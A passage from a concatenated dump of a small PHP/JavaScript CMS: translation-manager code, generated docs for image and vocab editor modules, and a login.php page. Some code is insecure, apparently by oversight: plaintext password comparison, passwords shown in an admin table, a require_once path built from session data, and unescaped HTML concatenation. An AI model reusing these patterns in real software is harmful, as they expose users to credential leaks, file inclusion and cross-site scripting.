</td>\n\
<td class="cms-trans-enabled" data-label="">\n\
<button data-lang="'+code+'" class="cms-trans-btn cms-trans-btn-enable">Enable</button>\n\
</td>\n';
/* if this translation IS enabled, show button to disable it */
} else {
table += '\
<td class="cms-trans-url" data-label="editor:">\n\
<a href="?translate='+code+'" target="_blank" title="Edit '+name+'">Edit</a>\n\
</td>\n\
<td class="cms-trans-passwd" data-label="password:">\n\
'+cms.translation[code].passwd+'\n\
</td>\n\
<td class="cms-trans-disabled" data-label="">\n\
<button data-lang="'+code+'" class="cms-trans-btn cms-trans-btn-disable">Disable</button>\n\
</td>\n';
}
table += '</tr>';
});
table += '</tbody></table>';
return table;
},
// ### updateTable()
// update the contents of the table after enabling/disabling a translation
updateTable: function () {
var table = self.buildTranslationsTable(); // get latest table
/* disable existing event handlers */
self.removeEventHandlers();
/* replace table HTML, then update search settings */
$('.cms-trans-table-container').html(table);
self.autoCompleteHandler();
/* add event handlers */
self.addEventHandlers();
/*save translation settings to localStorage */
store.set(cms.pageDir + '__translations', cms.translation);
},
// ### addEventHandlers()
// Add events when search field is changed and translation buttons are clicked
addEventHandlers: function () {
$('.cms-trans-autocomplete').on('keyup', self.autoCompleteHandler);
$('.cms-trans-autocomplete').on('change', self.autoCompleteHandler);
$('.cms-trans-btn-enable').on('click', self.enableBtnHandler);
$('.cms-trans-btn-disable').on('click', self.disableBtnHandler);
},
// ### autoCompleteHandler()
// Hides table rows which do not match the given search term -
// it gets the search term on input change, and applies CSS to
// hide non-matching rows
autoCompleteHandler: function () {
/* adapted from http://www.w3schools.com/howto/howto_js_filter_table.asp */
var input, filter, table, tr, td, i;
input = $('.cms-trans-autocomplete')[0];
filter = input.value.toUpperCase();
table = document.getElementById('cms-trans-table');
tr = $(table).find('tr:not(.cms-trans-table-header)');
/* for each row in the table */
for (i = 0; i < tr.length; i++) {
var code = tr[i].getElementsByTagName('td')[0],
name = tr[i].getElementsByTagName('td')[1],
native = tr[i].getElementsByTagName('td')[2],
match = false;
/* check code, name and native name for matching string */
if (code && code.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
} else if (name && name.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
} else if (native && native.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
}
/* if row had TD with matching contents, dont hide it */
if (match) {
tr[i].style.display = '';
} else {
/* hide it cos it didnt match */
tr[i].style.display = "none";
}
}
},
// ### enableBtnHandler()
//
enableBtnHandler: function () {
var lang = $(this).attr('data-lang');
/* button was clicked, so get the password */
self.getTranslatorPasswd(lang, function updatePasswdInTable(passwd){
if (passwd !== '') {
/* enable this translation and store passwd */
cms.translation[lang].enabled = true;
cms.translation[lang].passwd = passwd;
/* update the table to show enabled translation */
self.updateTable();
}
});
},
// ### disableBtnHandler()
//
disableBtnHandler: function () {
var lang = $(this).attr('data-lang');
/* update the setting for this translation */
cms.translation[lang].enabled = false;
/* update the translations table */
self.updateTable();
},
// ### getTranslatorPasswd(lang, callback)
// Gets the password for the selected language/translation row,
// and if no passwd file exists, it will create one.
//
// @param `lang` - string, 2 letter ISO language code (see [languages.js](https://github.com/sc0ttj/Project/blob/master/src/cms/js/modules/languages.js))
// @param `callback` - a function which takes a `passwd` string as a param
getTranslatorPasswd: function (lang, callback) {
var data = new FormData();
data.append('get_passwd', true);
var onSuccessHandler = function (passwd){
if (typeof callback == 'function') callback(passwd);
};
var onErrorHandler = function (result){
/* if no translation passwd found, create one as the translation was just enabled */
self.createTranslatorPasswd(lang, function (passwd){
/* enable this translation and store passwd */
cms.translation[lang].enabled = true;
cms.translation[lang].passwd = passwd;
/* update the table */
self.updateTable();
});
};
cms.ajax.create('POST', 'cms/api/passwds/'+lang+'.php');
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(data);
},
// ### createTranslatorPasswd(lang, callback)
// POSTs an `enable_translation` and `lang` to the translation backend,
// which will create a password and return it. On success, this func will
// execute the given callback, passing to it the new passwd as a param.
//
// @param `lang` - string, 2 letter ISO language code (see [languages.js](https://github.com/sc0ttj/Project/blob/master/src/cms/js/modules/languages.js))
// @param `callback` - a function which takes a `passwd` string as a param
createTranslatorPasswd: function (lang, callback) {
var data = new FormData();
data.append('lang', lang);
data.append('enable_translation', true);
var onSuccessHandler = function (passwd){
if (typeof callback == 'function') callback(passwd);
};
var onErrorHandler = function (msg){
console.log('error creating password for translation ' + lang, msg);
};
cms.ajax.create('POST', cms.config.api.translate);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(data);
},
// ### removeEventHandlers()
//
removeEventHandlers: function () {
$('.cms-trans-btn-enable').off('click', self.enableBtnHandler);
$('.cms-trans-btn-disable').off('click', self.disableBtnHandler);
$('.cms-trans-autocomplete').off('keyup', self.autoCompleteHandler);
$('.cms-trans-autocomplete').off('change', self.autoCompleteHandler);
},
//
// End of module
};
<file_sep>/docs/cms/js/modules/image_manager.js.md
# image_manager.js
This CMS module loads up an Image Manager when a user clicks on an image in the page (index.html).
Users can replace images using the image manager - click the upload
button below the source file you want to change, and choose a new file.
Clickable images are the ones the CMS can find using the `responsiveImageSelector`
option in the [CMS config](https://github.com/sc0ttj/Project/blob/master/src/cms/js/cms.js#L20-L102).
Users can then upload and replace any images that they have clicked in the page.
The images in the page may be responsive images
(see [templates](https://github.com/sc0ttj/Project/blob/master/src/app/templates/_image-center.tmpl)
for examples), and in this case, the Image Manager will show all source
images, and each can be replaced with a new uploaded image.
## Begin script
Get our JS dependencies
```js
var $ = require('cash-dom'); /* jQuery alternative */
```
Create a persistent self reference to use across all module mthods
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
Makes this module available globally as cms.fileManager,
then adds click handlers to all images the CMS can find
```js
init: function(){
self = this;
self.addResponsiveImageClickHandlers();
},
```
### addResponsiveImageClickHandlers()
Get all images on the page and assign a function to execute when they're clicked.
```js
addResponsiveImageClickHandlers: function () {
var $imgs = $(cms.config.responsiveImageSelector);
$imgs.off('click', self.onImageClickHandler);
if ($imgs.length > 0) {
$imgs.addClass('cms-editable-img');
$imgs.on('click', self.onImageClickHandler);
}
},
```
### onImageClickHandler(e)
Get the source files for the clicked iamge, create form fields from those
source files, then pass those form fields to the `showUI()` function.
This is the function that is assigned to images on the page.
This function is executed when images are clicked.
@param `e` - the event
```js
onImageClickHandler: function (e) {
var img = this,
imgSrcElems = self.getImgSourceElems(img),
previewImages = [],
previewImages = self.createImgsFromImgSrcElems(imgSrcElems);
/* if we got image srcs from <source> or <img> tags, then
* set the current working image to the one that
* was clicked, and show the Image Manager UI
*/
if (previewImages.length > 0) {
self.currentImage = img;
self.showUI(previewImages);
}
},
```
### getImgSourceElems(img)
@param `img` - the image HTML object that was clicked
@return `imgSourceElems` - an HTML Collection of the images 'src' elem(s)
```js
getImgSourceElems: function (img) {
var imgSourceElems = $(img).children('source, img');
return imgSourceElems;
},
```
### createImgsFromImgSrcElems(imgSrcElems)
Create an array of image HTML strings, from `<source>` or `<img>` tags.
This method is used to create the HTML of the preview images which appear
in the Image Manager.
@param `imgSrcElems` - an HTML Collection of `<source>` or `<img>` elems
@return `images` - an array of image HTML strings
```js
createImgsFromImgSrcElems: function (imgSrcElems) {
if (imgSrcElems.length < 1) return '';
var images = [];
/* create html for each src image in imgSrcElems array */
for (var i=0; i < imgSrcElems.length; i++){
var $img = $(imgSrcElems[i]),
tag = imgSrcElems[i].tagName,
data = $img.data('name') || '',
dataAttr = (data) ? dataAttr = 'data-name="'+data+'"' : dataAttr = '',
src = '';
if (tag === 'IMG') src = $img.attr('src');
if (tag === 'SOURCE') src = $img.attr('srcset');
images[i] = '<img id="preview-image-' + i + '" ' + dataAttr + ' data-index="'+i+'" src="' + src + '" />';
}
return images;
},
```
### showUI(previewImages)
Create the Image Manager modal popup contents, then show the modal,
and add the event handler functions to the upload buttons.
@param `previewImages` - array of image HTML strings
```js
showUI: function (previewImages) {
var modalContent = '';
/* for each preview image src file -
* add a header (if data-name attr found) and
* add an upload button, so user can replace the image
*/
previewImages.forEach(function (imgHtml, i){
var imgHeaderTxt = $(imgHtml).data('name'),
uploadBtn = self.createUploadBtn(i),
imageHeaderHtml = '<p class="cms-modal-image-title">' + imgHeaderTxt + '</p>';
/* build image list */
if (imgHeaderTxt) modalContent += imageHeaderHtml;
modalContent += imgHtml;
modalContent += uploadBtn;
});
/* load modal */
cms.modal.create({
title: 'Image Manager',
contents: modalContent
});
cms.modal.show();
/* add event handlers for input buttons */
var $fileBtns = $('.cms-modal-upload-btn');
$fileBtns.each(function (fileBtn){
var $fileBtn = $(fileBtn);
self.fileBtnClickHandler($fileBtn);
});
},
```
### fileBtnClickHandler(fileBtn)
Assign an `onchange` event to the given button, which will:
- check for a valid chosen file to upload
- set the filename, relative URL of uploaded file
- get the preview image to update, and update it
- then upload the image to the server
```js
fileBtnClickHandler: function (fileBtn) {
/* force upload on choosing a file */
fileBtn.on('change', function uploadBtnChangeHandler(e){
var file = this.files[0];
if (!file) return false;
/* set the filename, url, preview image */
var filename = this.files[0].name,
imgUrl = 'images/'+filename,
$previewImg = $(this).parent().prev('img'),
$previewImgId = $previewImg.attr('id'),
imageSrcIndex = $('#'+$previewImgId).data('index');
/* set current image info */
self.currentImgUrl = imgUrl;
self.currentImgSrcElem = imageSrcIndex;
/* set current upload button info */
self.$currentBtn = $(this).prev('label');
self.$currentBtns = $('.cms-modal-upload-label');
/* update the upload buttons in the UI */
self.updateUploadBtns(self.$currentBtn, self.$currentBtns);
/* update the preview of the image being replaced */
self.updatePreviewImage($previewImg, file);
/* upload the image */
fileBtn.prop('disabled', true);
self.uploadImage(e, file);
fileBtn.prop('disabled', false);
});
},
```
### updateUploadBtns(btn, btns)
Add progress info to current upload button, disable others
@param `$btn` - cashJS object, the current upload button
(the one that was clicked)
@param `$btns` - HTML Collection, all the upload buttons
```js
updateUploadBtns: function($btn, $btns){
$btn.removeClass('cms-modal-upload-label-error');
$btn.addClass('cms-modal-upload-label-uploading');
$($btn).parent().children('.cms-loader').removeClass('cms-loader-hidden');
$btns.css('pointer-events', 'none');
},
```
### updatePreviewImage($previewImg, file)
Updates the preview images in the Image Manager
@param `$previewImg` - a cashJS object of the preview image to update
@param `file` - an image file (chosen through a form upload button)
```js
updatePreviewImage: function ($previewImg, file){
/* once the file data has been gathered, set the src attr of the current
* preview image to the image data, if the image exists */
var reader = new FileReader();
reader.addEventListener('load', function () {
$previewImg.attr('src', reader.result);
}, false);
if (file) reader.readAsDataURL(file);
},
```
### uploadImage(e, file)
Uploads an image file to the server.
@param `e` - the event
@param `file` - an image file (chosen through a form upload button)
```js
uploadImage: function (e, file){
/* get data from the current form */
var formData = new FormData(this);
/* add the file to the form data to be POSTed */
formData.append('image', file, file.name);
/* prevent redirect and do ajax upload */
e.preventDefault();
/* set where to upload to */
cms.ajax.create('POST', cms.config.api.upload);
/* setup the progress info display, and success/error callbacks */
self.setImageUploadEventHandlers();
/* do the request */
cms.ajax.send(formData);
},
```
### setImageUploadEventHandlers()
This functions defines the ajax and upload event handling functions
so users can see progress and success/fail messages for their uploads.
```js
setImageUploadEventHandlers: function () {
var btn = self.$currentBtn,
btns = self.$currentBtns;
/* Define the handler funcs for our upload events:
* progress, success and error handlers.
*/
var onProgressHandler = function (e) {
var ratio = Math.floor((e.loaded / e.total) * 100) + '%';
btn.html('Uploading '+ratio);
};
var onSuccessHandler = function (responseText){
console.log(responseText);
/* The upload was a success, so update the image in the page that was
* originally clicked with the new uploaded image. */
self.updateImgOnPage();
/* now reset the upload buttons */
btn.html('Upload image');
btn.removeClass('cms-modal-upload-label-uploading');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
btns.css('pointer-events', 'all');
};
var onErrorHandler = function (responseText){
console.log(responseText);
/* reset buttons after upload cmpletes */
btn.html('Upload error');
btn.addClass('cms-modal-upload-label-error');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
};
/* now apply the handlers to this AJAX request */
cms.ajax.onProgress(onProgressHandler);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
},
```
### updateImgOnPage()
Replace an image on the main page (index.html) with an uploaded image.
```js
updateImgOnPage: function(){
/* add img to src or srcset in main page */
var imgToUpdate = $(self.currentImage),
$imgToUpdate = $(imgToUpdate),
srcImgToUpdate = $imgToUpdate.children('img, source').eq(self.currentImgSrcElem)[0],
srcAttr = 'srcset';
/* if the target is not a valid image element, search its children for the
* correct elem - makre sure we are working on a valid image elem
*/
if (!srcImgToUpdate) srcImgToUpdate = $imgToUpdate.children('source').eq(self.currentImgSrcElem);
if (!srcImgToUpdate) srcImgToUpdate = $imgToUpdate.children('img');
/* We should now have a valid image elem, so set the correct
* attribute to update to 'src' if the elem is IMG, and leave
* as 'srcset' if it's not an IMG.
*/
if (srcImgToUpdate.tagName === 'IMG') srcAttr = 'src';
/* Now we have the correct elem and attribute, so let's
* update the source image, and replace with our currentImgUrl
*/
$(srcImgToUpdate).attr(srcAttr, self.currentImgUrl);
},
```
### createUploadBtn(i)
Returns an HTML string of a form with an upload button (input type file).
@param `i` - an index that will give the button a unique ID
@return `uploadBtn` - an HTML form with upload button, as a string of HTML
```js
createUploadBtn: function (i) {
/* create the HTML for each upload button */
var uploadBtn = '\
<form id="cms-upload-form-'+i+'" action="/api/upload.php" method="post" class="cms-upload-form cms-upload-form-'+i+'" enctype="multipart/form-data">\n\
<div class="cms-loader cms-loader-hidden"></div>\n\
<label for="file-upload-'+i+'" id="file-upload-label-'+i+'" class="cms-modal-upload-label">Upload image</label>\n\
<input name="image" type="file" id="file-upload-'+i+'" class="cms-modal-upload-btn" />\n\
</form>';
return uploadBtn;
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ image_manager.js](image_manager.js "View in source")
<file_sep>/src/cms/api/login.php
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
# get config for this page
# returns $page_dir, $url_path ...
require_once('config.inc.php');
# an example validate login func
function validateLogin ($pass){
global $valid_password;
# if translator is trying to login
if (isset($_SESSION['translate'])){
# get the passwd generated for their given LANG
require_once('passwds/'.$_SESSION['translate'].'.php');
# if given pass matches, return true
if ($pass == $valid_password){
return true;
}
}
// should decrypt password here
# if given admin pass matches, return true
# we use password_verify, cos this pass was hashed when user created page
if (password_verify($pass, $valid_password)){
return true;
}
return false;
}
#
# require the admin pass created when this editable page was created
#
require_once('passwds/admin.php');
# reset current login attempt
$loginSuccess = false;
$msg = '';
# start session, get access to session vars
session_start();
# if ?translate=LANG in URL then keep the LANG var in session...
#
# this will allow translators to re-attempt login without
# passing the query string around all the time
$qs = '';
if (isset($_SESSION['translate'])){
$qs = '?translate=' . $_SESSION['translate'];
}
#
#
# user not yet logged in ....
# if user has sent a passwd to check
if (isset($_POST['password'])) {
// get login details
$pass = $_POST['password'];
// validate the login
$loginSuccess = validateLogin($pass);
if ($loginSuccess) {
// if login was ok, start session
$_SESSION['login'] = true;
# keep the dir in session, dso login is only valid for this page
$_SESSION['page_dir'] = $page_dir;
# all done, login was OK
# so redirect to page root, it will load the CMS
header("Location: ../../".$qs);
} else { # login failed
// session_unset();
// if (isset($_SESSION)) session_destroy();
$msg = 'Password not valid. Try again.';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head prefix="og: http://ogp.me/ns#">
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Device -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="HandheldFriendly" content="True"/>
<meta name="format-detection" content="telephone=no">
<title>Login</title>
</head>
<style>
body {
background-color: #eee;
color: #222;
font-family: sans-serif;
font-size: 1.6rem;
margin: 0;
padding: 0;
}
form {
max-width: 500px;
min-width: 200px;
width: 100%;
}
label, input {
display: block;
line-height: 2rem;
margin-bottom: 24px;
padding-top: 6px;
padding-bottom: 6px;
}
input[type="password"]{
font-size: 1.6rem;
line-height: 1.6rem;
padding: 6px;
max-width: 355px;
width: 100vw;
}
input[type="submit"] {
background-color: #333;
border: 0;
color: #eee;
cursor: pointer;
font-size: 2rem;
font-weight: bold;
padding-top: 6px;
padding-bottom: 6px;
width: 120px;
}
input[type="submit"]:hover, input[type="submit"]:focus, {
background-color: #444;
}
</style>
<body>
<center>
<?php
if (isset($_SESSION['translate'])){
echo "<h2>Translator login:</b> ".$_SESSION['translate']."</h2>";
} else {
echo "<h2>Admin login:</h2>";
}
if ($msg != ''){
echo "<h4>".$msg."</h4>";
}
if (!$loginSuccess){
?>
<form action="login.php" method="post">
<label>Enter the password for this page:</label>
<input name="password" type="<PASSWORD>" />
<input type="submit" name="submit" value="LOGIN" />
</form>
</center>
<?php
}
?>
</body>
</html>
<file_sep>/docs/cms/js/modules/vocab_editor.js.md
# vocab_editor.js
This module provides a form that allows users to create and edit vocab files,
as well as translating HTML using the vocab files available.
The vocab files created/updated are in the `vocabs` directory.
This module to creates, edits and get values from the vocab files,
so it can build its UI, and the translated page(s).
Vocab files are named after the 2 letter language code they are
associated with.
Examples: French will be `fr.json`, Arabic is `ar.json`.
The vocab files are JSON files which contain the text values of the
page being edited, as a JSON object.
## Begin script
Get our dependencies
```js
var $ = require('cash-dom'); // jquery alternative
```
Set a persistent self reference for this module
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
Disable editable content on the main page, then check if we
should load the vocab editor, and if so, load it.
```js
init: function(){
self = cms.vocabEditor;
$('[contenteditable]').attr('contenteditable', false);
if (self.shouldShowUI()) self.showUI();
return true // if we loaded ok
},
```
### shouldShowUI()
If `?translate=LANG` is present in the current URL, then show
the Vocab Editor. (LANG must be a valid 2 letter ISO language code).
```js
shouldShowUI: function () {
var lang = self.getCurrentService(),
langInfo = cms.getLangInfo(lang),
validLang = (self.getQueryVariable('translate') && langInfo.code != 'undefined');
if (validLang) return true;
return false;
},
```
### showUI()
shows the vocab editor UI.
```js
showUI: function (){
/* the funcs below will:
* - get preview page html,
* - then build the 'en' vocab for left side of UI
* - then get vocab file contents for LANG
* - finally add LANG vocab contents to right side of UI */
self.getPreviewPageHtml(self.getEnVocabFromPreview);
},
```
### getCurrentService()
Check the current URL, getthe translate param from the query string,
the CMS settings or the page HTML.
@return `service` - string, a 2 letter country code (A.K.A the name of the service)
```js
getCurrentService: function () {
var service = self.getQueryVariable('translate') || self.getQueryVariable('preview') || cms.lang.code || $('html').attr('lang');
return service;
},
```
### getPreviewPageHtml()
Get the page HTML as a string from the preview.html file
@param `callback` - the function to execute after success,
it will get the page HTML as param `html`
```js
getPreviewPageHtml: function (callback) {
var lang = self.getCurrentService();
var onSuccessHandler = function (html){
callback(html);
return html;
};
var onErrorHandler = function (errorText){
console.log(errorText);
return false;
};
cms.ajax.create('GET', 'preview.html');
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(null);
},
```
### getEnVocabFromPreview()
Create the default/english vocab file (called `pageVocab`) from
the given HTML string.
@param `html` - string, the HTML from which we will build the vocab file
```js
getEnVocabFromPreview: function (html){
/* create an empty vocab file and get html to build it from */
var lang = self.getCurrentService(),
pageVocab = self.createNewVocab(lang), //create an empty vocab object
$html = $(html), // the html from which we will build the vocab JSON
sectionSelector = cms.config.sectionSelector,
/* get the page meta values */
metaSelector = 'meta[name^="title"], meta[name^="description"], meta[name^="author"], meta[name^="keywords"], meta[name^="news_keywords"], meta[name^="copyright"], meta[name^="twitter"], meta[property], meta[itemprop]',
/* a list of the elements we will get values from */
vocabElemsSelector = 'h1, h2, p, blockquote, li, video source, picture source, img',
i = 0; // used to make 'section1', 'section2', etc
/* process the html we chose and build the vocab file */
$html.each(function processPreviewHTML(elem){
var isMetaElem = ($.matches(elem, metaSelector)),
isSection = ($.matches(elem, sectionSelector));
if (elem.nodeType != Node.TEXT_NODE){
/* get values for META section of vocab file */
if (isMetaElem){
/* console.log('meta', elem); */
var key = $(elem).attr('itemprop') || $(elem).attr('property') || $(elem).attr('name'),
value = $(elem).attr('content'),
item = {};
item[key] = value;
pageVocab['meta'].push(item);
}
/* get values for page sections part of vocabs */
if (isSection){
var sectionName = 'section' + (i+1);
/* create { 'section1' : [] } etc */
pageVocab[sectionName] = [];
$(elem).each(function getVocabElems(el, q){
var vocabItems = $(el).find(vocabElemsSelector);
/* get all items to be added to vocab */
vocabItems.each(function getVocabValuesFromElem(pageElem){
var key = pageElem.tagName.toLowerCase(),
value = pageElem.innerText || $(pageElem).attr('src') || $(pageElem).attr('srcset') || pageElem.innerHTML,
vocabItem = {};
/* add the item to the vocab object, if value found */
if (value) {
vocabItem[key] = value.trim();
pageVocab[sectionName].push(vocabItem);
}
});
});
i++; /* increment section name */
} /* end if isSection */
} /* end if !== TEXT_NODE */
}); /* end $html.each() */
/*
* we now have the latest preview page as a vocab file -
* later we will show it in the left side of the vocab editor UI,
* so lets assign to `self`, to make it available to all methods */
self.pageVocab = pageVocab;
/*
* we now have the default text to translate,
* so we can get a translation for it */
self.getVocabFileContents(function vocabReturnedOK(vocab){
/* make the vocab contents available to all methods */
self.vocab = JSON.parse(vocab);
/*
* now populate the form with the contents of self.pageVocab (en)
* and self.vocab (vocab of current LANG) */
self.buildTranslatorUI();
});
},
```
### getVocabFileContents()
Read the vocab JSON fro ma JSON file, the vocab checked will be the
one that matches the current language/service.
@param `callback` - the function to run after attempting to
get the contents of the vocab file
@return `responseText` - string, the vocab JSON as a string
```js
getVocabFileContents: function (callback) {
/* get the current language */
var lang = self.getCurrentService();
var onSuccessHandler = function (responseText){
/* we now have the vocab contents, so lets make it available
* to all methods, to re-use it later */
self.vocab = responseText;
/* run the given callback function */
callback(responseText);
/* return the vocab contents */
return responseText;
};
var onErrorHandler = function (responseText){
/* return default page vocab */
callback(JSON.stringify(self.pageVocab));
return self.pageVocab;
};
cms.ajax.create('GET', 'vocabs/'+lang+'.json');
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(null);
},
```
### buildTranslatorUI()
Create a modal dialog containing a form for editing vocab files.
```js
buildTranslatorUI: function () {
/* get the current language, and build our form HTML */
var lang = self.getCurrentService(),
langInfo = cms.getLangInfo(lang),
form = self.createVocabEditorForm();
/* load modal */
cms.modal.create({
title: 'Translate to '+langInfo.name,
contents: form
});
cms.modal.show();
/* rename the back button text to 'Preview' */
$('.cms-modal-back-btn').html('Preview');
/* add event handlers to modal dialgo ocntents */
self.addEventHandlers();
},
```
### createNewVocab()
Create an empty vocab object, contaning only the given language.
@param `lang` - string, a 2 letter ISO language code (see [languages.js](https://github.com/sc0ttj/Project/blob/master/src/cms/js/modules/languages.js))
@return `vocab` - object, the new vocab object
```js
createNewVocab: function (lang) {
var vocab = {};
vocab['html'] = [ { 'lang': lang } ];
vocab['meta'] = [];
return vocab;
},
```
### createVocabEditorForm()
Create the form used to edit the contents of the current
vocab file. The form HTML will be returned.
@return `form` - string, the form HTML
```js
createVocabEditorForm: function () {
var lang = self.getCurrentService(),
form = '<form class="cms-vocab-form" data-lang="'+lang+'" action="'+cms.config.api.upload+'" method="post">\n',
fields = self.createVocabEditorFormFields(); // get fields based on vocab contents
/* append the rest of th eform HTML */
form += fields;
form += '<button class="cms-modal-btn">Preview Translation</button>\n';
form += '</form>\n';
return form;
},
```
### createVocabEditorFormFields()
Get the contents of the vocab file for the current language, and
for each item in the vocab, build the vocab editor form fields HTML.
return `form` - string, the form fields HTML
```js
createVocabEditorFormFields: function (){
var lang = self.getCurrentService(),
langInfo = cms.getLangInfo(lang),
pageVocab = self.pageVocab,
vocab = self.vocab || self.pageVocab,
form = '',
textDirection = langInfo.direction;
/* build form from self.pageVocab */
Object.keys(pageVocab).forEach(function createFormSections(key) {
var section = pageVocab[key];
sectionName = key;
form += '<h3>'+key+'</h3>';
section.forEach(function createSectionFormFields(elem, i) {
/* get form fiel values */
var key = Object.keys(section[i]),
value = Object.values(section[i]),
valFromVocabFile = pageVocab[sectionName][i][key];
/* replace editable values with the values from the vocab file */
if (vocab.hasOwnProperty(sectionName)){
/* set to value from vocab file, or default back to value from preview page */
valFromVocabFile = pageVocab[sectionName][i][key];
if (typeof vocab[sectionName][i] !== 'undefined') {
valFromVocabFile = vocab[sectionName][i][key] || pageVocab[sectionName][i][key];
}
}
if (key == 'lang') value='en';
/* create the form section */
form += '<table>\n\
<tr>\n\
<td>\n\
<label class="cms-modal-title cms-vocab-title cms-vocab-title-left">'+key+'</label>\n\
<textarea disabled />'+value+'</textarea>\n\
</td>\
<td>\n\
<label class="cms-modal-title cms-vocab-title cms-vocab-title-right"> </label>\n\
<textarea \
class="cms-modal-input \
cms-vocab-input" \
data-name="'+key+'" \
data-lang="'+lang+'" \
data-section="'+sectionName+'" \
dir="'+textDirection+'" \
name="'+key+'" />'+valFromVocabFile.trim()+'</textarea>\n\
</td>\n\
</tr>\n\
</table>\n';
});
});
return form;
},
```
### addEventHandlers()
Add the event handlers to the form inputs and textareas.
```js
addEventHandlers: function () {
$('.cms-modal-viewport .cms-vocab-form').find('textarea').each (function setTextareaHeights(){
/* auto grow the textareas based on content */
/* http://stackoverflow.com/a/24676492 */
this.style.height = '8px';
this.style.height = (this.scrollHeight)+'px';
});
$('.cms-vocab-input').on('keypress', function (e){
/* auto grow the textareas based on content */
this.style.height = '8px';
this.style.height = (this.scrollHeight)+'px';
/* prevent newlines */
if (e.which === 13) e.preventDefault();
/* clear ajax notification stylings */
$(this).removeClass('cms-vocab-uploaded');
$('.cms-vocab-input').removeClass('cms-upload-label-error');
});
/* upload vocab after each change */
$('.cms-vocab-input').on('blur', function(e){
self.uploadVocab(e);
});
/* button at bottom of page */
$('.cms-modal-btn').on('click', function (e) {
e.preventDefault();
/* get preview.html contents, use current vocab to perform translation,
* then save to index.[lang].html and then preview it */
self.translatePage();
});
/* back button, top left */
$('.cms-modal-back-btn').on('click', function(e){
e.preventDefault();
/* get preview.html contents, use current vocab to perform translation,
* then save to index.[lang].html and then preview it */
self.translatePage();
});
},
```
### uploadVocab()
Get the translations in the Vocab Editor form (right hand side of the UI),
create a vocab from those values, then upload as a new vocab file (or
update a vocab file if it already exists for that language).
@param `e` - the upload event, we cancel it in this method to prevent
a redirect, and we use AJAX instead
```js
uploadVocab: function (e) {
var lang = self.getCurrentService(),
vocab = self.getFormVocab(),
vocabFile = self.createVocabFile(vocab),
vocabFilename = lang+'.json',
formData = new FormData(this);
/* add the vocab to the upload data */
formData.append('vocab', vocabFile, vocabFilename);
/* prevent redirect and do ajax upload */
e.preventDefault();
/*
* functions to handle the success/failure of the vocab upload -
* they simply update the UI accordingly */
var onSuccessHandler = function (responseText){
console.log(responseText);
$('.cms-vocab-input').addClass('cms-vocab-uploaded');
};
var onErrorHandler = function (responseText){
console.log(responseText);
$('.cms-vocab-input').addClass('cms-upload-label-error');
};
/* now let's do our AJAX request, and upload the vocab */
cms.ajax.create('POST', cms.config.api.upload);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(formData);
},
```
### getFormVocab()
Get the contents of the Vocab Editor form, and convert it to a vocab file
(in the form of a string, which can be converted to a JSON object later).
```js
getFormVocab: function() {
var vocabString = '{ ',
prevSection;
/* for each form field */
$('.cms-vocab-input').each(function getVocabValue(){
var $this = $(this),
section = $this.data('section'),
nextItem = $(this).parents('table').next(),
key = $this.data('name'),
value = $this.val();
var nextField = $(nextItem).find('.cms-vocab-input')[0];
var nextSection = section;
if (nextField) {
nextSection = $(nextField).data('section');
} else {
nextSection = 'none';
}
/* Build a string of JSON:
*
* Here is where we create our vocab file, as a string, after
* having gotten the values needed from the Vocab Editor form.
*/
/* if starting a new section, start a new array */
if (section != prevSection) vocabString += '"' + section + '" : [ ';
/* add key value obj pairs into the array */
vocabString += '{ "' + key + '": ' + JSON.stringify(value) + ' }';
/* if next item is button, we are at last item in last group */
if(nextItem[0].tagName == 'BUTTON'){
/* end last array */
vocabString += ' ] ';
/* else next item is not button */
} else {
/* if not last item in section, and section is not none */
if (section != nextSection) {
/* and array */
vocabString += ' ], ';
}
}
/* if we are not at the last item, add a comma */
if (section == nextSection) vocabString += ', ';
/* prepare next loop */
prevSection = section;
});
vocabString +='}';
return vocabString;
},
```
### createVocabFile()
Create a vocab file from a JSON object
```js
createVocabFile: function (vocabJSON) {
return new Blob([vocabJSON], {type: 'text/plain'});
},
```
### getVocabAsJSON()
```js
getVocabAsJSON: function (vocab) {
return JSON.stringify(vocab, undefined, 2);
},
```
### downloadVocabAsFile()
Takes JSON as the file contents, and a file name, and
forces the browser to offer the file as a download.
@param `vocabJSON` - the JSON to put into the file
@param `filename` - the filename to use for the file created
```js
downloadVocabAsFile: function (vocabJSON, filename) {
/* http://stackoverflow.com/a/18197511 */
var a = document.createElement('a');
var file = self.createVocabFile(vocabJSON);
a.href = URL.createObjectURL(file);
a.download = filename;
a.click();
},
```
### getQueryVariable(0
Gets variable values from a query string
@param `variable` - the var to get the value of
```js
getQueryVariable: function (variable) {
/* https://css-tricks.com/snippets/javascript/get-url-variables/ */
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
},
```
### translatePage()
Translates `preview.html`, using the vocab file for the current
language, then sends the new, translated HTML to the CMS export
module, to be saved as `index.LANG.html`.
```js
translatePage: function(){
/* define our vars */
var tmpHtml = '',
html = '',
$html = '',
editableItemSelector='',
metaSelector = 'meta[name^="title"], meta[name^="description"], meta[name^="author"], meta[name^="keywords"], meta[name^="news_keywords"], meta[name^="copyright"], meta[name^="twitter"], meta[property], meta[itemprop]';
/* create a holder for our HTML */
tmpHtml = document.createElement('HTML');
